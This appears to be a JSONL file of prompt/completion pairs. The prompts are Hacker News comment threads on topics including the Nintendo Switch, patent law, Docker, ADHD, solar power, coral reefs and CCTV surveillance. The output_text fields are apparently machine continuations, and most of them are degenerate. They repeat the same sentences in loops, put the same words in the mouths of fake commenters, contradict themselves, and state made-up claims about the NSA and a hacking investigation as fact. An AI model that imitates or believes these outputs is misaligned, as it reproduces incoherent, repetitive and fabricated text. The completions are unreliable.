channel is Clickspring, right now he is building that\nancient greek mechanical computer thing which was found in a shipwreck.\n\n------\nsimplemath\nYou are a bit underwhelmed.\n\nGot it\n\n~~~\nfrik\nI listed some fair constructive criticism of minor things that came to my mind\ntrying it out to an overall great new game console.\n\nYou seem to be trolling, got it.\n\n~~~\nfrei\nThe repetition of the word 'underwhelmed' seems intentional, but the reason\nfor it is unclear. It's distracting to the point that the actual content of\ncomment is lost on the reader.\n\n------\nrichardboegli\nIt runs on FREEBSD\n[https://news.ycombinator.com/item?id=13789444](https://news.ycombinator.com/item?id=13789444)\n\n~~~\nBinaryIdiot\nKinda poor taste to just try and bump your submitted HN post versus posting\nthe actual source.\n\n------\nnikcub\nthe Switch booting into its FreeBSD kernel:\n\n[https://twitter.com/Y_Mokko/status/837610472362786817](https"} +{"output_text": " Chinese military's headquarters in Beijing, he\n> found that the unit had been disbanded.\n\n>...\n\n> Hickton's investigation was the first time that the Chinese military had\n> been accused of hacking into American companies.\n\n>...\n\n> Hickton's investigation was the first time that the Chinese military had\n> been accused of hacking into American companies.\n\n>...\n\n> Hickton's investigation was the first time that the", "input_text": " is further slashed.\n\n~~~\nizacus\nI see this thrown around all the time when we talk about monopolizing IP and\nhaving huge corporations put their lawyer boots on smaller company throats...\nbut is it really true? Will making IP protection weaker actually stifle\ninnovation? Was innovation in industrial era hugely stuffled by not protecting\nevery single patent a huge multi-national conglomerates throw out?\n\n~~~\nsgt101\nWell, yes, hence the development of patents.\n\n\"The English patent system evolved from its early medieval origins into the\nfirst modern patent system that recognised intellectual property in order to\nstimulate invention; this was the crucial legal foundation upon which the\nIndustrial Revolution could emerge and flourish.\" ([1]Wikipedia)\n\nWithout patents what you do is create trade secrets, patents publish the\nconcepts that are protected, they are fully disclosed (or the patent is junk)\nand after 25 years _anyone_ can use them. The 25 years is the time that you\nhave to get payback on your invention - forcing investment in development\n_now_ before your monopoly expires.\n\n[1]\n[https://en.wikipedia.org/wiki/Patent](https://en.wikipedia.org/wiki/Patent)\n\n------\nCharlesColeman\n> Hickton opened an investigation and quickly set his sights on a special unit\n> of the Chinese military \u2014 a secretive group known as Unit 61398.\n> Investigators were able to watch as the unit's officers, sitting in an\n> office building in Shanghai, broke into the computer systems of American\n> companies at night, stopped for an hour break at China's lunchtime and then\n> continued in the Chinese afternoon.\n\n>...\n\n> But when Hickton went to the"} +{"output_text": " it again.\n\n~~~\njlarocco\nI don't think it's a \"pyrric victory\" at all.\n\nIt's a win for the students, because they can park wherever they want. It's a\nwin for the city, because they can get rid of the illegal parking spots.\n\nIt's a win for the parking enforcement officers, because they can get paid\nmore.\n\nIt's a win for the city, because they can get rid", "input_text": "), law\nenforcement (mostly ignorant of tech), _and_ the good 'ol citizenry (cast as\ncattle as usual).\n\nI love how, when one of these places recruits you, it takes forever to learn\nwhat they're about, because their website is nothing but euphemisms.\n\n------\njlarocco\nAm I the only one who thinks this is wrong? An alternative headline could be\nsomething like, \"Entitled College Kids Learn How To Keep Parking Like Assholes\nWithout Paying Fines.\"\n\nAnd it's a pyrhic victory anyway, because chances are now the cars will get\none of the metal tire boots put on, or get towed. Both of which are more\nexpensive and a bigger hassle for everybody.\n\n~~~\nhanniabu\nThe issue I have is cases like at my school where they basically had\nentrapment. At the start of every year there'd be like 2-3 months where it's a\nfree for all and students could park wherever. The certainty was nowhere near\nadequate parking and not everywhere that people parked was readily obvious to\nbe illegal. Some spots had the yellow on the curb worn away 90%, others were\nthings like too close to a corner or hydrant by everyone was doing it those\n2-3 months that you get used to it and think it's okay and when there's no\nother spots left you park in one of those spaces (kind of like when people\nstart creating a new parking lane in the center of a full parking lot).\n\nAfter a few months of no enforcement and letting the students get used to\nparking like this, then they'll crack down with brutal enforcement. I'm\ntalking about them sniping you a few minutes after you walk away. Every year\nthey'd reset and do"} +{"output_text": "-years/)\n\n~~~\njjeaff\nI'm not sure how much of that is due to the fiduciary rule.\n\nI think the real problem is that the financial industry has been allowed to\ngrow to the point where it is now a major part of the economy.\n\nThe financial industry has grown to the point where it is now a major part of\nthe economy.\n\nThe financial industry has grown to the point where it is now a major part of\nthe", "input_text": " in all\ncells.\n\nIt does occurs fairly early in the development process (a stage called\ngastrulation), and the deactivation does persist for all cells that descend\nfrom a given cell present. But critically, it's late enough that a retina\ncould conceivably possess cells descending from two different \"lineages\".\n\nYou can actually visibly see the \"resolution\" of the deactivation by looking\nat tortoiseshell cats. Each blotch of orange/black represents one cell present\nat the deactivation stage.\n\n \nAbandoning the fiduciary rule was a mistake - petethomas\nhttps://www.bloomberg.com/opinion/articles/2019-05-06/trump-could-cost-future-retirees-billions\n======\ninflatableDodo\nEstimated cost to the financial advice market (by the financial advice market)\nof having to abide by the fiduciary rule - $2.4 billion\n\n[https://www.investmentnews.com/article/20151230/FREE/1512399...](https://www.investmentnews.com/article/20151230/FREE/151239992/dol-\nfiduciary-rule-could-take-2-4-billion-bite-out-of-financial)\n\nEstimated cost over the next 30 years for retirees (by the Economic Policy\nInstitute), just from the fiduciary rule being delayed for 18 months - $10.9\nbillion\n\n[https://www.epi.org/publication/another-fiduciary-rule-\ndelay...](https://www.epi.org/publication/another-fiduciary-rule-delay-would-\ncost-retirement-savers-10-9-billion-over-30"} +{"output_text": "\nI'm not sure if you're looking for a specific type of market research, but\nthere are a few things you can do to get started.\n\n1) Find a niche that you're passionate about. You can do this by looking at\nwhat you like to do, what you're good at, what you're interested in, etc.\n\n2) Find a way to get your hands on some data. You can do this by talking to\npeople, reading books,", "input_text": " You will learn the industry inside\nand out if you keep yourself open to gathering information.\n\nAnother (probably obvious way you've already considered) is to call the\ncompanies as a potential customer. Ask them questions about their\nproducts/services that you would expect them to answer for a regular customer.\n\nThat should be enough to get you started. Good luck!\n\n~~~\naagha\nGood suggestion on acting like a potential customer.\n\nFurthermore, I agree that these questions may be at an \"industry analysis\"\nlevel. As such, I'd advise looking into utilizing\n or .\n\n~~~\nnikiscevak\nHonestly, you'll waste your time. They'll see you coming from a mile away.\n\nA fantastic source of market research is from larger public companies. Look up\ntheir most recent 10-K (annual report). They are legally obligated to give a\nfairly detailed market analysis (that synthesizes the research from folks like\nGartner etc.) in each annual report. It's a great starting point.\n\nAlso, for most startup'markets' there isn't actually a market. It's\ncompletely new. So'market research' in this sense is not very useful and you\nshould examine the premise that you need to do market research at all (versus\nsay concentrating on whether consumers actually have a problem that you can\nsolve).\n\n~~~\nmosburger\nTotally agree w/ nikiscevak. I abandoned one of my ideas for a wireless MVNO\nafter analyzing the 10-K's of some publicly traded wireless companies. Just\nreading through the summaries will give you good nuggets of information.\n\n------\nthorax"} +{"output_text": "\n\n~~~\naxod\nI think you're missing the point.\n\nThe point is that you can have a single interpreter per-thread, and share\nmemory between threads.\n\nThe point is that you can have a single interpreter per-thread, and share\nmemory between threads, and have a very good message passing strategy between\nthreads.\n\nThe point is that you can have a single interpreter per-thread, and share\nmemory between threads, and have a very", "input_text": " to be updated very quickly\nat the same time - eg some animation etc\n\n~~~\nscott_s\nThe JavaScript VM will have a significant amount of state associated with it.\nExecuting a virtual instruction will require accessing that state. If that\ndata is not in the CPU's cache, it will cause cache misses, which stall code\nprogression.\n\nIf you then use that data in the cache for a while, then the cost of the cache\nmiss will be amortized. But what you're proposing is going back and forth\nquickly between the JavaScript VM and the rest of the browser code. The\nbrowser code will also need to bring its data into the cache, which will kick\nout the JavaScript VM's data.\n\nSince you're proposing that the JavaScript VM should do a very small amount of\nwork at each time, and it will likely need to bring all of its data back into\nthe cache each time, you will see a lot of CPU stalls.\n\n~~~\naxod\nYeah I think we have a _long_ way to go before js performance is affected by\nCPU caches.\n\n------\nantirez\nInstead of dealing with all this complexity, I don't understand why a simpler\napproach is not used, like having a single interpreter per thread and a very\ngood message passing strategy between interpreters.\n\n~~~\nmahmud\nYou could already achieve that with OS processes and IPC. The whole point of\nhaving multi-threading is to be able to write compact, shared-memory code with\nminimal use of synchronization operators, and sharing as much code and data as\npossible.\n\nOne interpreter per-thread means all side-effects have to be migrated to the\nother threads to keep a consistent view of memory: guess what you will need to\ndo that?"} +{"output_text": " be functionally equivalent.\n\n[1]\n[http://en.wikipedia.org/wiki/Exhaustion_doctrine](http://en.wikipedia.org/wiki/Exhaustion_doctrine)\n\n[2]\n[http://en.wikipedia.org/wiki/Doctrine_of_equivalents](http://en.wikipedia.org/wiki/Doctrine_of_equivalents)\n\n~~~\njoshu\nI think", "input_text": " problem, as the article says, is that even getting to the stage\nwhere you can call their bluff like this is extremely expensive, and\nstatistically very few defendants will take it this far. So for the few folks\nwho do stick it out this far, Lodsys can simply drop out and still stay way\nahead of the game.\n\nAs to why I think their case is somewhat stronger than the usual troll:\nFirstly, it's patents partially survived Google's supposedly \"devastating\" re-\nexamination request. Although the process is still ongoing, the claims that\nsurvived are golden. Those now have an \"enhanced presumption of validity\",\nwhich means if asserted at trial, the defendants would be wise to seek\nstronger alternate defenses besides invalidity.\n\nSecondly, and speaking of alternate defenses: patent exhaustion. Exhaustion is\ntriggered on first authorized sale [1]. I really cannot (and neither can the\nEFF) comment on this since all the relevant terms on which Apple, Google etc.\nhave a license are secret. Further, since Apple was not allowed to intervene,\nit seems even less likely a defense.\n\nThirdly, the claims are \"vague\" only if you decide not to put much effort into\nunderstanding how they work. Much like non-lispers complaining about\nparentheses. I have seen vague claims, and these are downright straightforward\nin comparison, despite what the EFF's out of context snippets may imply. Also,\nmentioning fax machines is a non sequitur. If the main function of fax\nmachines in this patent was to act as network components, by the Doctrine of\nEquivalents [2] they are functionally equivalent to the Internet of today.\nHeck, it could be carrier pigeons and still"} +{"output_text": " adult is now over two hours\"\n\n[https://www.statista.com/statistics/278851/average-\nweekly-s...](https://www.statista.com/statistics/278851/average-weekly-screen-\ntime-in-the-us/)\n\n~~~\ndmarg\nI think the average is more like 2.5 hours.\n\n------\njoshstrange\nI've been using Docker for", "input_text": " docker.\n\nFor a business perspective, it's a little tricky. I guess it can help if you\nneed to offer an onsite version of your SaaS app and the enterprise client had\nstrict rules about being on site.\n\nWhat would really make docker kickass is if they had a way to encrypt all the\nsource code somehow and protect it.\n\n------\nscraymer\nMaybe you have looked already and it wasn't useful to you but on the Docker\nwebsite it has some pretty good marketing to explain its usefulness:\n[https://www.docker.com/whatisdocker](https://www.docker.com/whatisdocker)\n\nWhy Use Docker: \"How does this help you build better software? When your app\nis in Docker containers, you don\u2019t have to worry about setting up and\nmaintaining different environments or different tooling for each language.\nFocus on creating new features, fixing issues and shipping software.\"\n\nBusiness Case: \"...With Docker, you can easily take copies of your live\nenvironment and run on any new endpoint running Docker...\"\n\n~~~\ndmarg\nYeah, I looked at the Docker website. I feel that Docker is super good at\nmarketing and wanted to get some other opinions.\n\n~~~\ndeftek\nHere is CoreOS opinion on docker:\n\n[https://coreos.com/blog/rocket/](https://coreos.com/blog/rocket/)\n\n \nIt's Not Orwell, It's Brave New World - fmihaila\nhttps://www.theguardian.com/media/2017/feb/02/amusing-ourselves-to-death-neil-postman-trump-orwell-huxley\n======\ntronreg\n\"the average weekly screen time for an American"} +{"output_text": ".cmu.edu/~quake/Reduceron/>)\nbut it's not quite there yet.\n\n------\nj_m_f\nI think the author is right that the hardware industry is going to be\nfundamentally changed by the advent of open source hardware.\n\nHowever, I think the author is wrong that open source hardware will be\nfundamentally different from open source software.\n\nOpen source software is a way of sharing code. Open source", "input_text": "'s all about the cost to the manufacturer and not\nfalling apart until the day after the warranty expires.\n\n------\nj_m_f\nAlthough I do agree that Open Hardware has a bright future, I'd just like to\npoint out that people have been calling the end of transistor size scaling for\na few decades, and technology keeps finding ways to get around the limitations\n(strained silicon, high-k metal gates, finFETs, etc.).\n\n~~~\nEstragon\nFrom the article:\n\n \n \n > 5 nm is about the space between 100 silicon atoms, so even if this\n > guess is wrong, it can be wrong by no more than a few technology\n > generations.\n\n~~~\nj_m_f\nMy point is that, even in that case (current silicon scaling stopping at 5nm),\nthere are a lot of potential technologies that could allow Moore's law to\ncontinue (nanowires, III-V materials, etc.).\n\n------\n0x12\nMy money is on massive FPGAs, think a whole wafer of silicon with just a bunch\nof general purpose IO and power.\n\nOnce stuff like that becomes available at a reasonable price (a big FPGA will\ncost you a _lot_ of money at the moment) open hardware will be as simple as\ndownloading a bitstream on to your 'general purpose' rig.\n\n------\ndmboyd\nI like where this is going, ie. Hardware becomes just another software\ncomponent.\n\nThe key item thats left is some sort of standard interface to port programs to\na FPGA style processor, i.e. a way of interfacing between a language compiler\nand HDL.\n\nI like the look of the Reduceron ( Different programs/libraries are likely to likely to implement `nfx' in\n> different ways, and thus step on each other.\n\nThat's true. But I think it's a good idea to have a common way to do it.\n\n> I think (for Common Lisp) it will be necessary to do something like this:", "input_text": " a clever design, and Wheeler makes a good case for it. Certainly my first\nreaction is \"you'll have to pry my parentheses from my cold, dead fingers\",\nbut it's unarguable that a lot of people are repulsed by the syntax, even if\nthe enlightened among us know it's actually beautiful.\n\nHe's right about the requirements for such a syntax: it has to mix well with\nthe existing syntax, meaning, among other things, it must impose no semantics\nand it must not be necessary to write the operands of an infix expression in\ninfix. I don't recall CGOL etc. getting the latter right. I also agree with\nhim about the lack of a precedence scheme.\n\nI have to admit, I can see making light use of the curly infix syntax in my\nown programs. I'm less sure what I think about the modern-expressions; I'd\nhave to try them to see. I guess I can see some advantages. But I'm afraid I\ndraw the line at significant whitespace. I know it works for Python, but\nPython was designed for it from the ground up. Looking at Wheeler's example,\nI'm not persuaded that it works as well for Lisp, though I commend him for his\neffort in designing it.\n\n~~~\nScottBurson\nHaving the infix expression reader fall back to emitting calls to a user-\nprovided `nfx' macro seems clever at first glance, but it's insufficient.\nDifferent programs/libraries are likely to likely to implement `nfx' in\ndifferent ways, and thus step on each other. I think (for Common Lisp) it will\nbe necessary to do something like this: create a generic function `translate-\nnfx' which uses `eql' dispatching on the"} +{"output_text": "Thanks again for the advice.\n\n~~~\njoshu\nI think you're right. I think the code is more important, but the design is\nimportant too.\n\nI think you're right about the balance. I think you're right that you can't\nhire someone for too long. I think you're right that you can't hire someone\nfor too long.\n\nI think you're right that you can't hire someone for too long.\n\nI think", "input_text": " a silly word that means \"not committed\". You're\nnot committed to them, they are not committed to you...in the end you have\nyour prototype, but know far less about it then if you hired someone, even an\nintern, and had them walk you through their process and the code...most\noutsourced help would probably not do that for you. A less risky move is to\nhire someone on 1099 for the project...you probably know more about those\nrules than most.\n\nIf you _waste_ too much time fretting over the details, you'll never get it\noff the ground. Check your balls, take the leap. You will never be 100%\ncorrect (you damned accountant! : ) so take your best shot and learn what you\nare made of.\n\nPost an email link or phone number in your about and I'll give you a call and\na swift kick in the ass if you need it.\n\n~~~\njaypreneur\nI appreciate the link. It's good to hear someone say that design is important.\nI've read similar sentiments here and there, but it's often touted that the\ncode is far more important (especially here, understandably so). I think there\ndefinitely must be a balance and hopefully that means my talents are valuable.\n\nAnyway, I appreciate the advice about hiring someone. I will have to consider\na way to go about doing that, it's tough though... being that I cannot\nhire/pay someone for too much of an extended period of time. I just don't have\nthat money.\n\nHowever, it is definitely a better route than outsourcing for the reasons you\nmentioned. I guess I'll just have to see if I can find a way to make it\nhappen, the intern example is a possibility.\n\n"} +{"output_text": "\n_q_0_QY-_0_Q)\n\n~~~\njandrewrogers\nI think you are missing the point. The point is that the cost of solar is\ngoing to be lower than the cost of gas in the long run. The cost of solar is\ngoing to be lower than the cost of gas in the long run. The cost of solar is\ngoing to be lower than the cost of gas in the long run. The cost of solar", "input_text": " factory), and installing them in a high-carbon-intensity\ncountry would tip the balance. Right now we do the opposite.\n\nSolar actually INCREASES gas consumption.\n\nYou have to provide for a fixed power demand with 2 systems.\n\n-Combined cycle methane gas plant (cc)\n\n-Methane Peaker backed Solar PV(pvp)\n\n\"Epvp=Epeak/(1-Cpv)\n\nYour effective time average methane energy consumption efficiency (electrical\nenergy out / chemical heat in) for pvp is going to be the peaker efficiency\ndivided by 1 - the capacity factor of the PV:\n\nEpvp = Epeak / (1 - Cpv)\n\nThe methane energy efficiency of cc, Ecc, is fixed One can find the methane\nbreakeven capacity factor, Cpvbe by setting Epvp=Ecc and solving for Cpv:\nCpvbe = 1 - Epeak/Ecc\n\nEpeak ~ a generous 42%\n\nEcc ~ 62%\n\nPlugging these numbers in yields:\n\nCpvbe = 1-42/62 = 32% which means unless your capacity factor meets or exceeds\n32% that solar imposes a net methane opportunity cost backing it up with a gas\npeaker plant in comparison to gas combined cycle.\n\nYou can find the capacity factors for solar here:\n[https://www.eia.gov/electricity/monthly/epm_table_grapher.ph...](https://www.eia.gov/electricity/monthly/epm_table_grapher.php?t=epmt_6_07_b&fbclid=IwAR3Oj5a7FUildPrxVyVfErx-"} +{"output_text": "ishment to be effective.\n\n------\njoshu\nI have ADHD. I don't know if it's a disorder or not. I don't know if it's\nsomething that can be fixed. I don't know if it's something that can be\ntreated. I don't know if it's something that can be cured.\n\nI do know that it's something that I have. I know that it's something that I\ncan't control. I know that it", "input_text": "\nYou can very easily resolve this question by talking to a doctor, or two. If\nyou are curious, don\u2019t just sit and wait and keep \u201cwasting your life away\u201d in\nthe indecision of whether or not to get checked. The lack of decisiveness to\neven get check may itself be a symptom of ADHD.\n\nOne obviously cannot understate the value and importance of having a healthy\nlife, regular sleep, good exercise, good diet and hygiene and all the like,\nbut for some people it\u2019s a little harder to get things in order than just\nthat. Also you don\u2019t need to consider getting medical help as a terminal\nsituation; perhaps you may just use meds long enough to retain your brain with\nwhat it means to be productive and do meaningful work.\n\nNo solution is one size fits all, and you need to find what works best for\nyou, but if you have questions or doubts about whether or not you may have an\nattention disorder, the best way to discern with any real certainty is to ask\na professional.\n\n------\nwlll\nI find the following helps:\n\n\\- Changing my routine seems to kick off my ability to focus\n\n\\- I have a sit-stand desk. Using it standing seems to help my focus, but\nchanging between sitting and standing can bump my motivation.\n\n\\- For clients starting and stopping a timer helps me focus.\n\n\\- For clients and my own projects I use Pivotal Tracker to order tasks. It\nhelps me break stuff down into smaller parts and to keep track of what I'm\ndoing and helps me to avoid wondering what to do. I use it even though clients\nhave their own project management solutions, I only use it for what I'm doing.\n\n\\- I've never found rewards/pun"} +{"output_text": "England_Temperature](https://en.wikipedia.org/wiki/Central_England_Temperature)\n\nThe data set is not global in scale, but it is a long enough set of data that\nit is useful to look at.\n\nThe point is that the rate of temperature rise is not anomalous. It is\nconsistent with the rate of temperature rise over the last few hundred years.\n\nThe point is that the rate of temperature rise is not anomalous. It is", "input_text": " ice age receding. The fallacy here is \"made shit up and pretended it was\ntruth\".\n\n> Also, the \"record\" in this case only goes back 130 years, and the earth is\n> 4.5 billion years old\n\nThe record is a real record. Putting it in quotes implies that it isn't a\nrecord. That's false. Also, this implies that the age of the earth is relevant\nto how we act today. Does NYC or SF care about the temperature of the Earth\nduring the formation of our solar system? No. It's not relevant.\n\n> so to try and make some sort of global warming generalization based on\n>.00000000028% of the evidence is fallacious.\n\nNobody is making that generalization, or using that scale of evidence. This is\na fallacy because the post author has pretended that the IBM article quoted\nsaid that they (Weather Underground) used.00000000028% of available evidence\nto draw their conclusion. Again, this is false.\n\n~~~\nJames001\nAgain, you didn't cite any actual facts. Repeating something doesn't make it\ntrue. You should reply with a citation proving that the rate of temperature\nrise is an anomaly. Cause right now you're ironically \"making shit up and\npretending it was truth\", in your own words.\n\nAlso, noting the fact that the record only goes back 130 years is merely\npointing out how little statistical significance climate models based on \"the\nrecord\" have.\n\nYour post is rank with hypocrisy.\n\n~~~\nsoundwave106\nLonger sets of data exist that are not global in scale. The longest is the\nCentral England Temperature set, going back to 1659.\n\n[https://en.wikipedia.org/wiki/Central_"} +{"output_text": " codebase and not\noptimizing the codebase.\n\n~~~\ngeneral_failure\nI am not a programmer. I am a programmer who is trying to optimize the code\nbase.\n\n------\njoshu\nI'm not sure I understand the point of this post.\n\n~~~\ngeneral_failure\nI am not a programmer. I am a programmer who is trying to optimize the code\nbase.\n\n------\njoshu\nI'm not sure I", "input_text": "'t figure that out, I can't help you.\n\nAs far as their work on HHVM, it was necessary due to failure by bad\ntechnology choices from the start. There's very little interesting about this\nwork unless you somehow love PHP, want to make debugging your production\napplications more difficult, and refuse to address your real problems. I am\n100% sure no one outside of the PHP community cares about anything Facebook\nhas done in C++.\n\nSimply having a large company with lots of developers who might have even had\ngood reputations elsewhere or even be smart doesn't mean much. Having worked\nin many places with lots of smart developers, I can tell you stories about too\nmany geniuses in the room. Calling Facebook developers engineers is also about\nas apt as calling janitors sanitation engineers. We're programmers, or\ndevelopers, or perhaps software architects at best depending on the position.\nI happen to have an EE and CS degree but given I do programming for a living,\nI'd hardly call myself an engineer. But we're way off topic :)\n\n~~~\notterley\n> As far as their work on HHVM, it was necessary due to failure by bad\n> technology choices from the start.\n\nHHVM arose out of Facebook's desire to save on server purchasing and operating\ncosts. Facebook could run perfectly well without it on Plain Old PHP, but\nthey'd have to buy and power more servers.\n\nI'd hardly call PHP a \"bad technology choice\" given the outstanding financial\nsuccess of many companies that use it.\n\n------\nboomshoobop\nIsn't Facebook itself an STD vector?\n\n~~~\ngeneral_failure\nFunny :)\n\n------\njohnwbyrd\nShow me a programmer who is trying to reoptimize the"} +{"output_text": " oceans should check out the Ocean Conservancy.\n\n[https://www.oceanconservancy.org/](https://www.oceanconservancy.org/)\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article. It seems to be saying\nthat coral reefs are a good thing, but that they are threatened by climate\nchange.\n\nI\u2019m not sure I agree with that. I think coral re", "input_text": " attracts big\npredators like sharks), and a net of vested interests will block it.\n\nAnd you'll need to wait 3000 years to have a coral reef at '3000 years level',\nof course. Corals are terribly slow and fight with their neighbors all the\ntime. Such project would be extremely expensive.\n\n~~~\nsomishere\nThere's already projects doing this. Both on the GBR and in places like\nFlorida in the USA. The coral being grown is mainly staghorn due to its rapid\ngrowth cycles with the idea that it can help replenish high value sites only,\ni.e. not the whole reef. These kind of measures are seen as being part of a\nspectrum of solutions. Check out the Reef Restoration Project:\n[https://citizensgbr.org/c/coral-nurseries](https://citizensgbr.org/c/coral-\nnurseries)\n\n~~~\npvaldes\nA staghorn-only reef is \"equivalent\" to a monoculture forest. Staghorn is the\n\"Eucalyptus\" of corals. Much faster than most species. Will overgrowth and\novershadow more delicate species that rely in potent poisons and good niches\nto survive and grow much slower.\n\nStaghorn could make a good skeleton of a reef in, dunno, maybe 50 or 100 years\nand would attract a wonderful biodiversity if left alone; but is not enough in\nreef terms. we are talking of the cream of the cream. One of the finest works\nof this planet. The staghorn ecosystem is just a baby and a lot of species\nwould be sorely missing.\n\n------\nsomishere\nPeople interested in joining a movement that engages with climate change and\nthe future of the"} +{"output_text": "uine question, why would you want to do that?\n\n~~~\njoshu\nI think you are missing the point.\n\nDocker is not a VM. It is a container.\n\nYou can run a container on bare metal, or on a VM.\n\nYou can run a container on a VM, or on bare metal.\n\nYou can run a container on bare metal, or on a VM.\n\nYou can run a container on a VM", "input_text": "ization layer than\nhardware hypervisors like VMWare, also has higher performance for I/O\nintensive operations. When used on bare metal hardware, you going to be able\nto get better performance for many databases in Docker containers compared to\ndatabases running in a virtual machine guest.\n\nSo to recap, Docker can help you\n\n\\- maintain consistent dev/test/prod environments\n\n\\- use less resources than hardware virtualization\n\n\\- free up the time your team spends on dev to ops handoffs\n\n\\- improve your app I/O performance compared to running in a hardware\nvirtualization based virtual machine guest\n\nHowever if you are using AWS, note that Docker Container Service available\nfrom Amazon actually doesn't give you Docker on bare metal. That's because\nDocker Containers run in AWS virtual machine guests virtualized by Xen\nhypervisor. So with AWS you are paying a penalty in resources and performance\nwhen using Docker.\n\n~~~\ntakeda\nGreat, but what are the benefits of running Docker in AWS? You are still\nrunning VMs and you are being charged for running them. With Docker you are\nsimply putting yet another layer of complexity, because now you have to run\nmore beefier VMs, you now have problem with network communication between\ncontainers running on different hosts. So you will most likely need to use\noverlay network. You also decrease resiliency, because now when AWS terminated\na single VM, all apps running on that node suddenly disappear.\n\nI also don't get the argument about running the same container in\ndev/test/prod. For example my company is working on going Docker and one of\nthe problem with these environments is that app running there has different\nconfiguration. So the idea to solve it is to create three different versions\nof the same container. Gen"} +{"output_text": "venture.com/](http://roomescapeadventure.com/)\n\n------\njoshu\nI've played this a few times. It's a great way to get people to work together\nand solve problems.\n\n------\njoshu\nI've played this a few times. It's a great way to get people to work together\nand solve problems.\n\n------\njoshu\nI've played this a few times. It's a great way", "input_text": "get very chaotic with everyone running around looking for clues.\n\nThe only downside is once they reveal the clues/answers, it can be frustrating\nif they were impossible to solve in the first place.\n\n------\naustinl\nI was at the Escape from the Moon Base [1] in SF two weeks ago and it was a\nlot of fun. I went with some coworkers, but I'd also recommend going with\nfriends, and would definitely participate again.\n\nThe puzzles are fairly challenging (no one in my session of 30 teams/180\npeople) finished with an entirely correct solution, so it's satisfying when\nyour team solves certain parts.\n\n[1] [http://realescapegame.com/sf07_mb/](http://realescapegame.com/sf07_mb/)\n\n------\nlukas\nI played the Escape from Time Travel Lab as a team building exercise and it\nwas an awesome experience - I totally recommend it. I just wish they would put\nout more games!\n\n------\nnitrogen\nSounds somewhat like murder mystery dinner parties. Also: why does NYT hijack\nthe left and right arrows to take me away to another article?\n\n------\nnschuett\nOne of the hardest things about these \"escape from the room\" games is keeping\nall the puzzles and clues organized, and sharing progress across the whole\nteam. It's a pretty great exercise in project mgmt and teamwork.\n\n------\nnnnnni\nIt's not exactly the same, but TrueDungeon has a similar premise of \"a small\ngroup of people attempts to figure out puzzles together to get through\nsomething\".\n\n------\nkqr2\nFor a zombie themed escape, check out:\n\n[http://roomescapead"} +{"output_text": "\nATM is used.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I'm not a fan of the NSA but I\nthink this is a good thing. I don't think it's a good thing that the NSA is\nspying on everyone but I think it's a good thing that they are doing it in a\nway that is transparent and doesn't allow for abuse.\n\n~~~\njessaustin\n", "input_text": ", it took another few\nminutes for them to collect all this, then they said they needed a few moments\nto run it past some lists. (Apparently the US government keeps some lists of\nterrorists and whatnot -- I told them I wasn't on any of the lists but they\ninsisted on checking anyway.)\n\nAfter a few more minutes they came back and said I was fine. They transferred\nmoney from my existing bank and handed me a new ATM card. I tried it and\neverything worked smoothly this time.\n\nI don't think anyone should use this bank. The process took me half-an-hour or\nmore and it was really awkward.\n\n[1] -\n[http://www.fincen.gov/statutes_regs/patriot/](http://www.fincen.gov/statutes_regs/patriot/)\n\n~~~\nderekp7\nI've never seen a case where an card wouldn't work in another bank's automated\nATM machine. I know this used to be the case, but there are a bunch of logos\non the back of my card, and a bunch of logos on various ATMs, and as long as\nthere is an intersection of at least on of those logos it should work.\n\nAnd there is a big difference between giving basic proof of ID information to\na regulated financial institution, vs. handing it over to an unknown entity.\n\n~~~\nnezza-_-\nJust FYI: ATM stands for Automated Teller Machine, so your sentence expands to\n\"automated automated teller machine machine\" :)\n\n~~~\nderekp7\nI know -- that's why I threw automated at the beginning (inside joke). But\nadding \"machine\" at the end seems to happen a lot (and feels natural) when an"} +{"output_text": " for getting things done. I'd recommend you try\nsomething like the Pomodoro technique. It's a simple technique that works\nreally well for me.\n\n[https://www.pomodorotechnique.com/](https://www.pomodorotechnique.com/)\n\n~~~\njoshu\nI've tried the pomodoro technique, and it's not for me. I'm a very\nconscientious person, and I can't do", "input_text": " second the therapy too, that's also helped.\n\n------\niamben\nMany, many good responses here. And I muchly second meditation and exercise. I\nalso needed to get out the house every day when I worked from home (the gym\nwas good, but you don't talk to enough people). WeWork has been excellent\nbecause it gives me a place to be every day, and people to talk to.\n\nAs for distractions like video games, try making them irritating enough that\nit's more effort to do it than keep focused on your task. Unplug the console,\nput it in the box and put it at the top of the cupboard. Unplug all the cables\nfrom your TV. Let yourself play console, but go through the effort of setting\nit up and packing it away each time. Before long you'll only play it when you\nreally want to - those ten minute \"one game\" sessions that become 2 hours\ndon't happen anymore.\n\nLast year I moved into a new place and my housemate and I didn't bother\ngetting a TV. I missed TV for about 2 weeks. Been over a year now and not\nhaving something to just'sit' in front of has been a game changer for _doing_\nother things. Same deal. I cut out all the casual watching.\n\nAll of us struggle - particularly when working for yourself. Don't beat\nyourself up, it really doesn't help.\n\n------\nabalone\nIt could be ADHD, but believe it or not I'd explore whether it's an addiction\nissue. I think there should be more discussion and analysis of the\nrelationship between addiction and chronic procrastination.\n\nWhat else are you doing with your time? You made a couple of references to\nvideo games as a reward"} +{"output_text": "\nI'm not sure what you mean by this. The NSA has access to all US security\ncameras, and they are interested in them.\n\n~~~\nstrictnein\nI'm not sure what you mean by this. The NSA has access to all US security\ncameras, and they are interested in them.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. The author is saying that\nthe US has more cameras than", "input_text": " sum of money.\n\nI suppose in theory, if you blanketed the entire country with CCTV (just one\ntown is no good, the crime can move to the next town over) then you might have\na deterrent effect, but of course all the other concerns about mass\nsurveillance would still apply.\n\n------\nJoeAltmaier\nUS has more, per-capita?\n[https://www.precisesecurity.com/articles/Top-10-Countries-\nby...](https://www.precisesecurity.com/articles/Top-10-Countries-by-Number-of-\nCCTV-Cameras)\n\nUSA has 1 camera for every 6 or 7 people?\n\n~~~\nkeiferski\nIs this actually a useful metric? Cities should be compared to cities.\n\nAlso, that link doesn\u2019t seem to say whether cameras are owned by the state.\nPresumably surveillance operated by the government is more totalitarian than\nvarious private businesses.\n\n~~~\nthe8472\n\"lawful access\" interfaces can mean automatic access by the government. It's\noutsourced mass surveillance.\n\n~~~\nJoeAltmaier\nIn the movies and on TV, they always have to 'ask for the tapes'. Wonder how\nit really works now - the NSA already has it all?\n\n~~~\nnoarchy\nIf those cameras have any kind of outside accessibility over a network, the\nNSA is probably just one of many with potential access.\n\n~~~\nstrictnein\nThe NSA doesn't have access to US security cams and couldn't care less about\nthem. Come on people...\n\n~~~\nnoarchy\n>The NSA doesn't have access to US security cams and 